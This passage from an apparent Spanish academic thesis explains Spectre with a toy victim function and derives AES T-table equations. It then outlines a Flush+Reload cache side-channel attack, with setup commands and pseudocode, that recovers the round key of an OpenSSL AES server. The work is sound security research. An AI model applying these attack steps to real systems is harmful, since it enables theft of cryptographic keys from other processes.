nuevas vulnerabilidades similares a Spectre, conocidas como Microarchitectural Data Sampling (MDS), entre las que destaca ZombieLoad [23]. Nos vamos a centrar en explicar el funcionamiento de Spectre junto con la implementación de un ataque que hará provecho de él. Con esto se mostrará la utilidad del recién introdu- cido Flush&Reload, y cómo éste puede ser utilizado como herramienta para explotar otras vulnerabilidades. Un ejemplo de vulnerabilidad es producido por la ejecución especulativa de instrucciones que accedan a memoria cache. Lo lógico sería que el procesador no dejara información producida por las instrucciones ejecutadas especulativamente una vez que se ha detectado que es un fallo de especulación. Spectre demuestra que esto no es así. La res- tauración al estado anterior a fallo especulativo no incluye recuperar como se encontraba la 17 cache, lo que implica que datos traídos a cache por estas instrucciones seguirán ahí una vez que el procesador se haya recuperado del fallo de especulación. Veámoslo en funcionamiento con un ejemplo. Vamos a tratar una simplificación del caso multiproceso, en el que atacante y víctima se encuentran en el mismo proceso. Tanto para este ejemplo como para el caso multiproceso se deberán cumplir las condiciones que hacían posible el uso de la técnica Flush&Reload (ver 3.2.4). En este caso, los datos compartidos entre atacante y víctima corresponden con los arrays array y array_aux, que se muestran a continuación: 1 uint8_t array [ 1 0 ] ; 2 3 char ∗ c l ave = " abcdefghi jk lmno " ; 4 5 uint8_t s i z e_c lave = 15 ; 6 7 uint8_t array_aux [256 ∗ 4096 ] ; 8 9 uint8_t s i ze_array = 10 ; EL código de la víctima es el siguiente: 1 uint8_t vict ima ( s i ze_t x ) { 2 i f ( x < s ize_array ) { 3 re turn array_aux [ array [ x ] ∗ 4096 ] ; 4 } 5 re turn 0 ; 6 } Vemos que la función controla que no podamos salirnos de array superiormente. Pero sin embargo, como hemos explicado antes, tras un fallo especulativo no se recupera el estado de la cache anterior. Esto producirá que si introducimos un número que pase el índice superior (y el predictor está entrenado debidamente para que entre en el condicional) podremos acceder a array_aux con un índice que esté fuera de él (en nuestro caso nos interesa que el índice sea tal que nos desplace por la memoria hasta llegar a un elemento de la clave buscada), lo que traerá un elemento de array_aux a cache, que luego no será quitado de ahí. En este caso, el array_aux está constituido por 256 elementos (tantos como caracteres ASCII), y éstos a su vez separados por 4096 posiciones (que corresponden al tamaño de bloque que el procesador trae cuando acede a memoria, en vez de traer un solo elemento del 18 Figura 3.1: Ejemplo de acceso fuera de límites producido por la especulación y que permite que funcione Spectre array). De esta forma utilizando la técnica Flush&Reload podremos saber qué elemento de array_aux fue accedido y a su vez cual fue el índice de acceso que dio lugar a ese elemento, y que corresponderá a uno de los caracteres de la clave buscada (ver figura 3.1). La idea del ataque sería la siguiente: 1. Entrenamos al predictor para que entre en el condicional. 2. Realizamos un Flush para expulsar al array_aux entero de cache. 3. Realizamos un Flush de la variable que guarda la longitud del vector, de tal manera que cuando quiera comprobarse en el código de la víctima si sobrepasamos el índice se necesite obtener la longitud del array de nuevo, lo que produzca que comience la 19 Número de veces que se ha ejecutado el ataque Porcentaje promedio de clave recuperada 10 80.66% 50 86.79% 100 85.33% Tabla 3.1: Resultados obtenidos al realizar el ataque 10, 50 y 100 veces especulación. Es necesario aclarar que para que este paso sea posible, el procesador debe poder realizar accesos a cache teniendo otros pendientes, así como que se permitan los accesos a cache de manera especulativa. 4. Lanzamos el programa víctima con un índice fuera de límite, en concreto el índice necesario para llegar a la posición de memoria donde está el carácter de la clave que nos interesa. 5. Etapa Reload, encargada de comprobar a qué elemento de array_aux se accedió, y que corresponde al carácter de la clave buscado. Para cada carácter repetiremos un número de veces los pasos anteriores con el fin de evitar casos en los que la cache se comporte de manera inusual. Se han realizado pruebas de 10, 50 y 100 ataques, obteniéndose los resultados mostrados en la tabla 3.1. El código completo se podrá encontrar en el anexo B.1. 20 Capítulo 4 Algoritmos de encriptación basados en tablas Comenzaremos definiendo qué son los algoritmos de cifrado por bloques, así como sus distintas variantes. Después, se introducirá el algoritmo Rijndael y se explicarán las dife- rencias con su estandarización llamada Advanced Encryption Standard (AES), tomada por la “Federal Information Processing Standards Publication 19” en [2]. Finalmente trataremos cómo optimizar el algoritmo mediante el uso de tablas precalculadas, que disminuirán las operaciones de cálculo efectuadas, aumentando así la eficiencia y reduciendo los tiempos de encriptado y desencriptado. Este capítulo está basado en [2, 12]. 4.1. Algoritmos de cifrado por bloques Un algoritmo de cifrado por bloques se encarga de encriptar un conjunto de caracte- res de tamaño fijo que recibirá como entrada, normalmente de 64/128bits. Estos caracteres conforman lo que se conoce como bloque y serán encriptados mediante un conjunto de permu- taciones booleanas aplicadas a cada uno de los valores, que dependerán de la clave que esté siendo utilizada para la encriptación. Llamaremos encriptado al proceso de transformar un bloque de texto en un bloque de texto cifrado, y desencriptado a la transformación in- versa. Estas transformaciones vendrán especificadas en un algoritmo de cifrado, que buscará 21 cumplir las dos siguientes premisas: Eficiencia: ya que se asume que el algoritmo será utilizado muchas veces. Seguridad: debido a la sensibilidad de los datos para los que será utilizado, por lo que se buscará que el algoritmo no se pueda romper. A cada una de las transformaciones booleanas citadas anteriormente las llamaremos ron- das y al texto producido tras la aplicación de cada ronda le llamaremos estado. Todos los algoritmos de cifrado por bloques conocidos en la actualidad corresponden a un esquema de cifrado por bloques iterativo. Estos se basan en la aplicación de una serie de rondas al texto que se desea encriptar, dependientes a su vez de una clave. Para conseguir una mayor seguridad, en vez de aplicar la misma clave inicial en todas las rondas, se utilizarán una serie de claves de ronda, que dificultarán la tarea de romper el algoritmo y que serán calculadas mediante un algoritmo de generación de subclaves. Dentro de este conjunto de algoritmos de cifrado se distinguen varios tipos. En primer lugar nos encontraremos con el subtipo de los cifradores por bloques iterados , que añadirán la restricción de que la transformación de ronda sea siempre la misma (a excepción de la ronda inicial y la final). Además de estos, nos encontraremos un segundo subtipo, los algoritmos de cifrado por bloques de clave alterna , que dividirán cada ronda en dos etapas. Una primera etapa formada por una transformación independiente de la clave de ronda, y una segunda, que realiza la adición de la clave de ronda correspondiente (mediante una XOR aplicada bit a bit). El algoritmo comenzará con una ronda cero que simplemente hará la adición de la clave inicial. Entre estos dos subtipos nos encontramos con los conocidos como cifradores por bloques de clave iterada , que mezclan las características de ambos, y que nos resultarán de gran interés debido a la pertenencia del algoritmo estudiado a este subconjunto. Estos dividen las rondas en dos etapas (como los cifradores por bloques de clave alterna). La primera, una transformación independiente de la clave de ronda (que es 22 la misma para todas las rondas, como en los cifradores por bloques iterados), y la segunda transformación realiza una adición de la clave de ronda. Una vez añadidas estas definiciones continuaremos dando una descripción formal de Rijndael. 4.2. Descripción de un algoritmo de cifrado por bloques iterados: Rijndael Lo primero de todo, será aclarar la diferencia entre lo que es Rijndael y lo que es AES. Rijndael es el algoritmo de cifrado por bloques de clave iterada descrito y especificado por Daemen et al. en [12], y AES corresponde al estándar definido por la “Federal Information Processing Standards Publication” en [2]. AES está basado en Rijndael, pero se diferencia de él en que Rijndael acepta claves/bloques de longitud múltiplo de 32 bits, comprendida entre 128 y 256 bits y, sin embargo, AES solo soporta los subcasos de 128, 192 y 256 bits (el resto de variantes no fueron incluidos en la definición del estándar). Comenzaremos definiendo la notación. El mensaje y la clave, recibidos como cadenas, serán tratados como matrices. Para ello, los caracteres se colocarán por columnas de la siguiente manera. Si el mensaje como cadena es el siguiente: esteeselmensaje1 como matriz pasará a ser:  e e m a s s e j t e n e e l s 1  Llamaremos Nb al número de columnas que forman un bloque y Nc al número de colum- nas que dan lugar a la clave, ambos vistos como matrices. Estos variarán según el número de bits que tengan la clave y el bloque (según la versión de Rijndael elegida). A cada una de las columnas la llamaremos palabra, y estará formada por 4 bytes. Veamos un ejemplo: 23 Nb 4 6 8 Nclave 4 10 12 14 6 12 12 14 8 14 14 14 Tabla 4.1: Nrondas según los valores de Nb y Nc para un tamaño de clave de 192 bits, o lo que es lo mismo, 24 bytes, como las columnas tienen cuatro elementos (es decir, hay 4 filas por la definición de palabra), la matriz tendrá 6 columnas, luego Nc = 6. El algoritmo recibirá como entrada un mensaje m formado por 4 ∗ Nb bytes. En caso de que el mensaje supere ese tamaño (Nb vendrá establecido por la configuración de Rijndael utilizada), el mensaje se partirá en trozos de tamaño 4∗Nb bytes, y si el tamaño del mensaje no es múltiplo de ese número, se rellenará según sea necesario. Por tanto, el bloque de texto de entrada visto como una matriz de bytes será: mi,j, con i ∈ {1, 2, 3, 4} y j ∈ {1, · · · , Nb} (4.1) y, de igual manera, la clave será: ki,j, con i ∈ {1, 2, 3, 4} y j ∈ {1, · · · , Nc} (4.2) Variando los parámetros Nb y Nc podremos obtener distintas combinaciones de Rijndael, que harán que varíe el número de rondas que ejecutará el algoritmo (definido como Nrondas), y que serán las indicadas en la tabla 4.1. Cada una de las rondas que forman el algoritmo corresponden con una composición de transformaciones que se aplicarán al estado recibido como entrada para producir uno de salida. El algoritmo se dividirá en una primera ronda que aplica la transformación AddRoundKey, un conjunto de rondas formadas cada una por las transformaciones SubBytes, ShiftRows, MixColumns y AddRoundKey (en concreto el valor de Nrondas menos uno) y una última 24 ronda formada solo por las transformaciones SubBytes, ShiftRows y AddRoundKey. El pseudocódigo que lo describe viene indicado en el algoritmo 4.1. Código 4.1: Pseudo código Rijndael. 1 State1 = AddRoundKey(Mensaje ,RoundKey0 ) 2 3 f o r i = 1 to Nrondas − 1 : 4 Stateaux = SubBytes (Statei ) ; 5 State(aux+1) = ShiftRows (Stateaux ) ; 6 State(aux+2) = MixColumns (State(aux+1) ) ; 7 State(aux+3) = AddRoundKey(State(aux+2) ,RoundKeyi ) ; 8 Statei+1 = Stateaux+3 9 10 //Ronda f i n a l 11 Stateaux = SubByte (StateNrondas ) ; 12 State(aux+1) = ShiftRows (State(aux) ) ; 13 Statefinal = AddRoundKey(State(aux+1) ,RoundKey(Nrondas) ) ; 4.2.1. Transformaciones de ronda A continuación detallamos cada una de las posibles transformaciones que pueden com- poner una ronda, y cuyas operaciones vienen derivadas de la teoría desarrollada en el anexo A. Todas estas transformaciones son invertibles, lo que permite que pueda haber un proceso opuesto de desencriptado. SubBytes Esta transformación recibe un estado de entrada y le aplica a cada uno de los bytes una transformación no lineal. Esta transformación viene dada a su vez por dos, diseñadas para minimizar las posibilidades de ataque: Una primera transformación no lineal que a cada byte le asigna su inverso en el cuerpo GF (28), g : a→ b = a−1 (4.3) salvo el 0016 que se le asigna a si mismo. Surge de buscar una transformación no lineal con la mínima correlación entrada-salida 25 posible, y la menor diferencia de probabilidad de propagación. Esta transformación por si sola es algebraicamente muy simple por lo que se compone con una segunda transformación que no repercute en las propiedades de no linealidad. Una transformación afín f: Byteout = f(Bytein) =  0 1 0 1 0 0 1 0 0 0 1 0 1 0 0 1 1 0 0 1 0 1 0 0 0 1 0 0 1 0 1 0 0 0 1 0 0 1 0 1 1 0 0 1 0 0 1 0 0 1 0 0 1 0 0 1 1 0 1 0 0 1 0 0  ×  bitin7 bitin6 bitin5 bitin4 bitin3 bitin2 bitin1 bitin0  ⊕  0 0 0 0 0 1 0 1  (4.4) invertible, que podrá ser vista como una multiplicación de polinomios vistos como elementos del cuerpo GF (28) y una suma de una constante. Esta transformación añade complejidad algebraica a la transformación y evita que tenga puntos fijos o puntos fijos opuestos. Por lo tanto, la transformación SubBytes vendrá dada por: SubBytes = (f ◦ g) : GF (28)→ GF (28) x 7→ f(g(x)) (4.5) si tomamos un byte como un elemento en GF (28). Si lo aplicamos al estado del mensaje que tenemos hasta la transformación actual: SubBytes = (f ◦ g) : Estado→ Estado x 7→ f(g(x)) (4.6) donde tomamos SubBytes como una transformación vectorial que recibe 4 ∗ Nb bytes y se aplica componente a componente (byte a byte), donde Estado es el conjunto de textos de 4 ∗Nb que se pueden recibir como entrada, y que se pueden producir como salida. Para optimizar estos cálculos, utilizaremos una tabla a la que denotaremos como Sbox. Esta tabla almacenará los valores producidos al aplicar la transformación SubBytes al con- junto de valores comprendidos entre 0x00 y 0xFF (que son los valores posibles que puede tomar un byte). 26 C0 C1 C2 C3 Nb 4 0 1 2 3 5 0 1 2 3 6 0 1 2 3 7 0 1 2 4 8 0 1 3 4 Tabla 4.2: Desplazamientos para la transformación ShiftRows según el valor de Nb ShiftRows La transformación ShiftRows realiza un desplazamiento circular hacia la izquierda dentro de cada una de las filas de la matriz de tamaño 4 filas y Nb columnas que forma el estado. El desplazamiento será C0 para la primera fila, C1 para la segunda, C2 para la tercera y C3 para la última. Estos desplazamientos fueron calculados según el valor de Nb elegido, de cara a maximizar la robustez frente a ataques diferenciales. En la tabla 4.2 podemos observar los valores tomados para cada caso. Veamos un ejemplo. Sea la siguiente matriz un estado intermedio del mensaje durante el encriptado:  e e m a s s e j t e n e e l s 1  aplicando la transformación ShiftRows, con C0 = 0, C1 = 1, C2 = 2, C3 = 3 para Nb = 4, obtenemos:  e e m a s e j s n e t e 1 e l s  MixColumns La transformación MixColumns viene dada por la siguiente ecuación: 27 Stateoutj = MixColumns(Stateinj ) =  02 03 01 01 01 02 03 01 01 01 02 03 03 01 01 02   Statein0,j Statein1,j Statein2,j Statein3,j  (4.7) Esta surge de la construcción de una transformación que intente maximizar el rendimiento en procesadores de 8 bits (ya que su implementación eficiente no es trivial en este tipo de procesadores), así como que sea lineal. El significado de multiplicar esta matriz por la columna del estado viene detallado en el anexo A. AddRoundKey La transformación AddRoundKey opera por bytes. Realiza lo siguiente: dados un estado y la correspondiente clave de ronda, a cada elemento del estado le realiza una XOR con el elemento de la misma posición de la clave de ronda, como se observa en la siguiente ecuación: Stateouti,j = AddRoundKey(Stateini,j, RoundKey) = Stateini,j ⊕RoundKeyi,j (4.8) 4.2.2. Optimización de las rondas basada en tablas Una vez explicado el algoritmo, mostraremos la optimización basada en tablas desarro- llada por Daemen et al. en [12]. Esta presenta unos mejores tiempos de ejecución, pero lo expone a ciertos ataques derivados del comportamiento temporal de la cache. Comencemos centrándonos en una ronda intermedia. Como hemos visto en el algoritmo 4.1, cada una estas rondas está compuesta de las transformaciones SubBytes, ShiftRows, MixColumns y AddRoundKey, aplicadas en este orden. Código 4.2: Pseudo código ronda intermedia. 1 Stateaux = SubBytes (Statei ) ; 2 State(aux+1) = ShiftRows (Stateaux ) ; 3 State(aux+2) = MixColumns (State(aux+1) ) ; 4 State(aux+3) = AddRoundKey(State(aux+2) ,RKI ) ; 5 Statei+1 = Stateaux+3 siendo RKI la correspondiente clave de ronda. Vamos a denotar como s a la variable que usaremos como estado de entrada de una trans- 28 formación y S para la variable usada como estado de salida. Ambas variables pertenecerán a State, el conjunto de las matrices de dimensión 4 × Nb. Comenzamos componiendo las transformaciones que forman parte de una ronda: Sj = AddRoundKey( MixColumns( ShiftRows( SubBytes(sj) ) ) , RKI) (4.9) siendo j el índice de recorrido por columnas y j ∈ {0, ..., Nb}. Vimos que la transformación SubBytes se puede recoger en una tabla que precalcule los valores (transformación SubBytes 4.2.1), a la que llamamos Sbox. Por lo tanto, SubBytes(sj) =  Sbox[s0,j] Sbox[s1,j] Sbox[s2,j] Sbox[s3,j]  (4.10) para una columna del estado, que corresponde a una palabra de 4 bytes. Realizando la siguiente transformación, ShiftRows : ShiftRows(SubBytes(sj)) =  Sbox[s0,j] Sbox[s1,(j−C1)%Nb ] Sbox[s2,(j−C2)%Nb ] Sbox[s3,(j−C3)%Nb ]  (4.11) Ahora aplicamos la transformación MixColumns: MixColumns(ShiftRows(SubBytes(sj))) = 02 03 01 01 01 02 03 01 01 01 02 03 03 01 01 02 ×  Sbox[s0,j] Sbox[s1,(j−C1)%Nb ] Sbox[s2,(j−C2)%Nb ] Sbox[s3,(j−C3)%Nb ]  (4.12) y por último, AddRoundKey, llegando a completar el desarrollo de la ecuación 4.9: Sj =  02 03 01 01 01 02 03 01 01 01 02 03 03 01 01 02 ×  Sbox[s0,j] Sbox[s1,(j−C1)%Nb ] Sbox[s2,(j−C2)%Nb ] Sbox[s3,(j−C3)%Nb ] ⊕  RKI0,j RKI1,j RKI2,j RKI3,j  (4.13) Ahora, sabemos que la multiplicación de una matriz por un vector cumple: 29 Am,n ∗ ~λ =  a1,1 a1,2 · · · a1,n a2,1 a2,2 · · · a2,n ... ... . . . ... am,1 am,2 · · · am,n ×  λ1 λ2 ... λn  = =  a1,1 a2,1 ... am,1 × λ1 + · · ·+  a1,n a2,n ... am,n × λn (4.14) por lo que, desarrollando el trozo correspondiente a la ecuación 4.12 obtenemos: Sj =  02 01 01 03 Sbox[s0,j]⊕  03 02 01 01 Sbox[s1,(j−C1)%Nb ]⊕  01 03 02 01 Sbox[s2,(j−C2)%Nb ]⊕  01 01 03 02 Sbox[s3,(j−C3)%Nb ]⊕  RKI0,j RKI1,j RKI2,j RKI3,j  (4.15) Igual que hicimos en la sección 4.2.1 para optimizar la operación SubBytes (de tal manera que para calcular el resultado de la transformación aplicado a un byte solo tuviéramos que realizar un acceso a la tabla Sbox), vamos a precalcular los productos anteriores de estos vectores por los 256 valores posibles que puede devolver Sbox en unas tablas (T-tablas) que convertirán ese conjunto de operaciones en el acceso a un valor en una tabla precalculada. Serán las siguientes (donde a corresponderá a un carácter/byte que se recibirá como entrada y que viéndolo como número, será el índice de acceso a la tabla): 30 Te0[a] =  02 01 01 03 Sbox[a] (4.16) Te1[a] =  03 02 01 01 Sbox[a] (4.17) Te2[a] =  01 03 02 01 Sbox[a] (4.18) Te3[a] =  01 01 03 02 Sbox[a] (4.19) de tal forma que una transformación de ronda quedara así: Sj = Te0[s0,j]⊕ Te1[s1,(j−C1)%Nb ]⊕ Te2[s2,(j−C2)%Nb ]⊕ Te3[s3,(j−C3)%Nb ]⊕ RKIj (4.20) para una columna del estado, teniendo que hacerlo para las Nb columnas. A pesar de que la última ronda es distinta, se podrá hacer uso de las mismas tablas. Teniendo en cuenta que eliminamos la transformación MixColumns, obtenemos: Sj =  Sbox[s0,j] Sbox[s1,(j−C1)%Nb ] Sbox[s2,(j−C2)%Nb ] Sbox[s3,(j−C3)%Nb ] ⊕  RKI0,j RKI1,j RKI2,j RKI3,j  (4.21) pero haciendo que los valores que se utilicen de las tablas siempre sean los que van multiplicados por 01, cada columna del estado quedará así: 31 Sj = (Te2[s0,j] & 0xFF000000)⊕ (Te3[s1,(j−C1)%Nb ] & 0x00FF0000)⊕ (Te0[s2,(j−C2)%Nb ] & 0x0000FF00)⊕ (Te1[s3,(j−C3)%Nb ] & 0x000000FF )⊕ RKIj (4.22) A diferencia de [12], hemos llamado a las tablas Te en lugar de T para aproximar la notación a la usada en el código de la librería openssl. Estas tablas serán las explotadas para poder desarrollar el resto del trabajo. En puntos anteriores hemos hablado de las claves de ronda, vamos a describir como se calculan, ya que posteriormente estaremos interesados en revertir este proceso. 4.2.3. Generación de claves de ronda La construcción de las claves de ronda busca romper la simplicidad de utilizar siempre la misma clave para todas las rondas, pero a su vez buscando la máxima eficiencia y el mínimo consumo de memoria posible. Además, como las transformaciones que formaban las otras rondas, evitará por construcción una serie de ataques conocidos. El proceso será el siguiente: se recibirá una matriz de dimensiones 4 × Nc con la clave inicial y obtendremos una nueva matriz de dimensiones 4 × (Nc ∗ (Nrondas + 1)). Esta se rellenará de la siguiente forma: En las primeras Nc columnas guardamos la clave inicial. Para todas las columnas restantes de la tabla: 32 • Si j mod Nc = 0: RoundKey0,j RoundKey1,j RoundKey2,j RoundKey3,j  =  RoundKey0,j−4 RoundKey1,j−4 RoundKey2,j−4 RoundKey3,j−4 ⊕  Sbox[RoundKey1,j−1] Sbox[RoundKey2,j−1] Sbox[RoundKey3,j−1] Sbox[RoundKey0,j−1] ⊕  Rcon0,j/Nc Rcon1,j/Nc Rcon2,j/Nc Rcon3,j/Nc  (4.23) • Si j mod Nc 6= 0: RoundKey0,j RoundKey1,j RoundKey2,j RoundKey3,j  =  RoundKey0,j−1 RoundKey1,j−1 RoundKey2,j−1 RoundKey3,j−1 ⊕  RoundKey0,j−4 RoundKey1,j−4 RoundKey2,j−4 RoundKey3,j−4  (4.24) donde el índice j indica acceso por columnas. y tomando Rcon como la matriz: Rcon =  0x01 0x02 0x04 0x08 0x10 0x20 0x40 0x80 0x1b 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00  (4.25) para el caso de Nrondas = 10, que corresponde con claves de 128 bits. Como ya se comentó, las optimizaciones introducidas por el uso de T-tablas mejorarán la velocidad de ejecución del algoritmo, pero también introducirán un problema: podrán ser utilizados como elementos compartidos para ataques de canal lateral a cache (tratados en el capítulo 3). En el próximo capítulo construiremos un ataque que se encargará de explotar esta vulnerabilidad. 33 Capítulo 5 Entorno experimental 5.1. Plataforma experimental Las pruebas se han realizado en un servidor de dos sockets, cada uno con un procesador Intel Xeon Gold 6138 con 20 cores a 2 Ghz (sin hyperthreading habilitado). La jerarquía de memoria está compuesta por 96 Gbytes de memoria RAM DDR4. En cada procesador se dispone de 28 Mbytes de cache L3 (asociativa de 11 vías) y 1 Mbyte de cache L2 (asociativa de 16 vías). Por último, cada core tiene 32 Kbytes de cache L1 (asociativa de 8 vías). Las líneas de cache son de 64 bytes. La TLB L1 dispone de 64 entradas (con asociatividad de 4 vías) y un tamaño de página de 4 Kbytes. Ver la figura 5.1. Figura 5.1: Topología del procesador Intel Xeon Gold architecture Para el software, se ha utilizado una distribución Debian GNU/Linux con versión del 34 kernel 4.9.51-1 y el compilador gcc en su versión 6.3.0. La versión de OpenSSL utilizada para las encriptaciones ha sido la 1.1.1.b, compilada con el flag no-asm para utilizar la versión con tablas. Para las mediciones de los contadores hardware se ha utilizado la librería PAPI, en su versión 5.5.1.0 [24] construida sobre el sub- sistema perf_event de Linux. 5.2. Obtención de parámetros para la plataforma El primer paso para la realización del ataque será obtener una serie de parámetros asociados al equipo en el que se va a realizar el ataque. A continuación enunciamos cuáles son y cómo extraerlos: Tamaño de bloque/línea. Lo extraeremos con los siguientes comandos: $ ge t con f −a | grep ‘LEVEL3_CACHE_LINESIZE’ Número de elementos de una tabla que caben en una línea. En la versión de openssl enunciada en el capítulo 5, los elementos de la tabla corresponden con enteros sin signo de 4 bytes, por lo que tendremos: Número de elementos de la tabla por bloque = Tamaño de bloque (bytes) 4 (bytes) (5.1) Ubicación de la librería dinámica. Como se verá posteriormente, necesitamos sa- ber la ubicación en la que se encuentra la librería dinámica que vamos a utilizar una vez que ha sido instalada. Se encontrará dentro de la carpeta /lib en la ruta en la que hayamos instalado la librería, y tendrá nombre libcrypto.so. Es posible que el sistema genere más de una libcrypto.so, por lo que cada una tendrá un número de versión. Nota: Tendremos que verificar que durante la compilación de los archivos que con- forman el ataque y que utilizan el flag -lcrypto se utiliza la misma versión que la que le pasaremos al atacante posteriormente como argumento (en caso de dudas, se recomienda comprobar con el comando ldd). 35 Desplazamientos de las tablas con respecto a la cabecera de la librería dinámica. Los extraeremos con los siguientes comandos: $ RUTA_ABSOLUTA_LIB="Ruta abso luta de l a l i b r e r i a " $ r e a d e l f −a $RUTA_ABSOLUTA_LIB > /tmp/ a e s l i b . txt $ cat /tmp/ a e s l i b . txt | grep Te0 $ cat /tmp/ a e s l i b . txt | grep Te1 $ cat /tmp/ a e s l i b . txt | grep Te2 $ cat /tmp/ a e s l i b . txt | grep Te3 Los datos correspondientes a la máquina (extraídos en el capítulo 5), junto con los citados anteriormente corresponden a los ubicados en el fichero de código del anexo C.1. Teniendo estos datos, podemos proseguir con el ataque. 36 Capítulo 6 Generación del ataque Tendremos un servidor UDP monohilo que actuará como víctima. Este recibirá textos y los devolverá encriptados. A su vez tendremos un proceso que será el atacante y que enviará los textos a la víctima con el fin de obtener la clave utilizada por el servidor para realizar las encriptaciones. Ambos procesos se ejecutarán en cores distintos, por lo que la sincronización entre ambos se producirá al realizar peticiones el atacante (ver figura 6.1). Para la codificación se utilizará el algoritmo AES de la librería openssl citado en el capí- tulo 5 con clave de cifrado de 128 bits. El código completo del servidor se puede encontrar en el anexo C.2. El ataque se basa en el desarrollado por Irazoqui et al. [17] y posteriormente mejorado por Briongos et al. en [8]. La base de éste consistirá en observar si unas filas concretas de las T-tablas se encuentran en cache o no tras la ejecución de una encriptación. Utilizaremos la información de si se ha producido un acceso a una línea concreta de cada una de las tablas para poder interpretar si se han utilizado determinados caracteres, y así inferir la clave de encriptación utilizada. Ya vimos en capítulo 3 que para saber si un dato estaba o no en cache podíamos usar la técnica de Flush&Reload (desarrollada en la sección 3.2.4). Comenzamos explicando el ataque de manera detallada. 37 Figura 6.1: Atacante y víctima 6.1. Deduplicación para la unificación de las librerías Una vez conseguidas las posiciones de inicio de las tablas y el tamaño de línea de la cache, lo primero que debemos hacer es forzar a que el proceso atacante y el proceso víctima compartan la biblioteca dinámica del algoritmo criptográfico, para que así accedan a los mismos datos de la biblioteca (en concreto las T-tablas). Para ello, lo primero que haremos será traer la biblioteca a memoria mediante un mmap en el proceso atacante. A continuación realizaremos una serie de encriptaciones (que no se tendrán en cuenta en etapas futuras) de cara a que el demonio correspondiente active la deduplicación (sección 2.2.2) y unifique así la librería cargada con nmap y la que ha cargado dinámicamente el proceso víctima. Se ha comprobado experimentalmente que la deduplicación tarda entorno a 300 encriptaciones en 38 unificar ambas librerías. 6.2. Fase de recogida de datos Una vez que ambos procesos comparten las tablas, el siguiente paso es extraer informa- ción del algoritmo. Para ello, repetiremos tres de pasos de manera iterativa: 1. Expulsar las tablas de la cache (en concreto, las líneas que serán observadas). 2. Solicitar encriptaciones. 3. Averiguar y almacenar qué líneas de las tablas se han traído a cache al ejecutar las encriptaciones solicitadas. En concreto, miraremos si una línea de cada tabla está en la L3. Para saberlo, utilizare- mos la técnica Flush&Reload 3.2.4 1. Utilizando el desplazamiento de las tablas (obtenido en 5.2), estaremos espiando la primera línea de cada tabla. Para observar líneas distintas tendremos que sumar el desplazamiento correspondiente (múltiplo del tamaño de línea) a la línea que prefiramos espiar de cada tabla. Se ha comprobado experimentalmente que la línea utilizada tendrá una alta influencia en el número de repeticiones necesarias para ob- tener la clave completa de manera correcta. Aunque durante este texto se ha detallado el algoritmo para espiar una única línea de cada tabla, se ha comprobado (de manera sencilla) que espiando más líneas de cada tabla obtenemos más información y por lo tanto, mejores resultados. Comenzaremos limpiando de la cache las líneas que se desean observar mediante la instruc- ción clflush. Debido a que la memoria cache de Intel es inclusiva, se eliminará de todos los niveles, lo que permitirá que el atacante pueda estar en un core distinto. Una vez hecho esto, el atacante enviará un texto a encriptar, que será respondido por la víctima (almacenaremos la respuesta, se explicará la razón en la sección 6.3). Con esto se hará el reload, que, como se 1La técnica utilizada para obtener estos datos puede ser cualquiera de las vistas en el capítulo 3, pero actualmente Flush&Reload es la que obtiene mejores resultados. 39 vió en la sección 3.2.4, consiste en medir el tiempo que tarda en traerse esta línea, y según sea mayor o menor que una cota determinada experimentalmente 2 averiguar si está en ca- che o en memoria principal. Repetiremos este proceso tantas veces como precisión queramos que tenga el ataque a fin de conseguir obtener la clave una vez que procesemos estos datos. Podemos ver el pseudocódigo asociado a las ideas explicadas en el algoritmo 6.1. Código 6.1: Fase de recogida de datos. 1 f o r i in 0, · · · , numero_encriptaciones 2 f o r j in 0, · · · , 3 3 f l u s h (Te[j] ) 4 end f o r 5 M = generarMensa jeAleator io ( ) 6 enviarMensaje (M, v ict ima ) 7 mensaje_encriptado [ i ] = r e c ib i rMensa j e ( ) 8 f o r j in 0, · · · , 3 9 X[ i ] [ j ] = re l oad (Te[j] ) 10 end f o r 11 end f o r Además, almacenaremos los textos devueltos por el cifrador (el mensaje original no nos importa), que, como veremos, estarán relacionados de manera indirecta con la clave. Por lo tanto concluiremos esta fase con la siguiente información almacenada: los textos que conforman los mensajes cifrados para cada encriptación y la información de si la línea escogida de cada tabla estaba en la L3 o no al terminar esa encriptación. 6.3. Procesado de datos Durante las siguientes secciones de este capítulo trataremos los dos pasos finales del algoritmo. Se comenzará obteniendo la última clave de ronda con los datos recopilados en las etapas anteriores. Una vez conseguida ésta, se utilizará para obtener la clave usada por el servidor para encriptar los datos. 2La cota podrá ser estimada utilizando el ataque y viendo para qué valor se obtienen mejores resultados. 40 6.3.1. Obtención de la última clave de ronda Esta fase será la más compleja, ya que necesitamos inferir los resultados a partir de la información obtenida en la sección anterior. Para ello vamos a tratar de manera detallada ciertas partes del código de AES, que serán las que nos permitan concluir el ataque. Recordemos que la última ronda de AES optimizada con las tablas tenía la siguiente estruc- tura: Sj = (Te2[s0,j] & 0xFF000000)⊕ (Te3[s1,(j−C1)%NBloque ] & 0x00FF0000)⊕ (Te0[s2,(j−C2)%NBloque ] & 0x0000FF00)⊕ (Te1[s3,(j−C3)%NBloque ] & 0x000000FF )⊕ RKIj (6.1) donde Sj denotaba la columna j-ésima del texto cifrado producido (por lo que corres- ponderá con lo almacenado en la variable mensajes_encriptados del código 6.1), y RKIj la última clave de ronda. Fijándonos en un elemento del texto encriptado: Si,j = (Te(i+2)%4[si,j] & (0xFF << 8 ∗ (3− i)))⊕RKIi,j (6.2) Nuestro objetivo será por lo tanto, obtener la última clave de ronda, que mediante un algoritmo iterativo nos permitirá recuperar la clave inicial del servidor. Esto nos lo facilitará una propiedad de la operación XOR, que resultará fundamental: esta operación es inversa de si misma. Gracias a esto nos será posible despejar la última clave de ronda de la ecuación 6.1, obteniendo: RKIi,j = (Te(i+2)%4[si,j] & (0xFF << 8 ∗ (3− i)))⊕ Si,j (6.3) En la sección 6.2 obtuvimos si para cada una de las tabla, una línea concreta estaba en la L3 o no al terminar la encriptación. Como se ve en la ecuación 6.2, cada uno de los caracteres obtenidos en el texto cifrado por el servidor depende tanto de la última clave de 41 ronda (añadida por la operación AddRoundKey) como del acceso a una línea de una tabla (y cuyo índice de acceso dependerá del estado en la ronda anterior del proceso de encriptado). Como ya hemos obtenido si una cierta línea de cada tabla estaba o no al terminar el cifrado, podemos asegurar que para las encriptaciones que no hayamos accedido a una determinada línea, los caracteres que componen esa 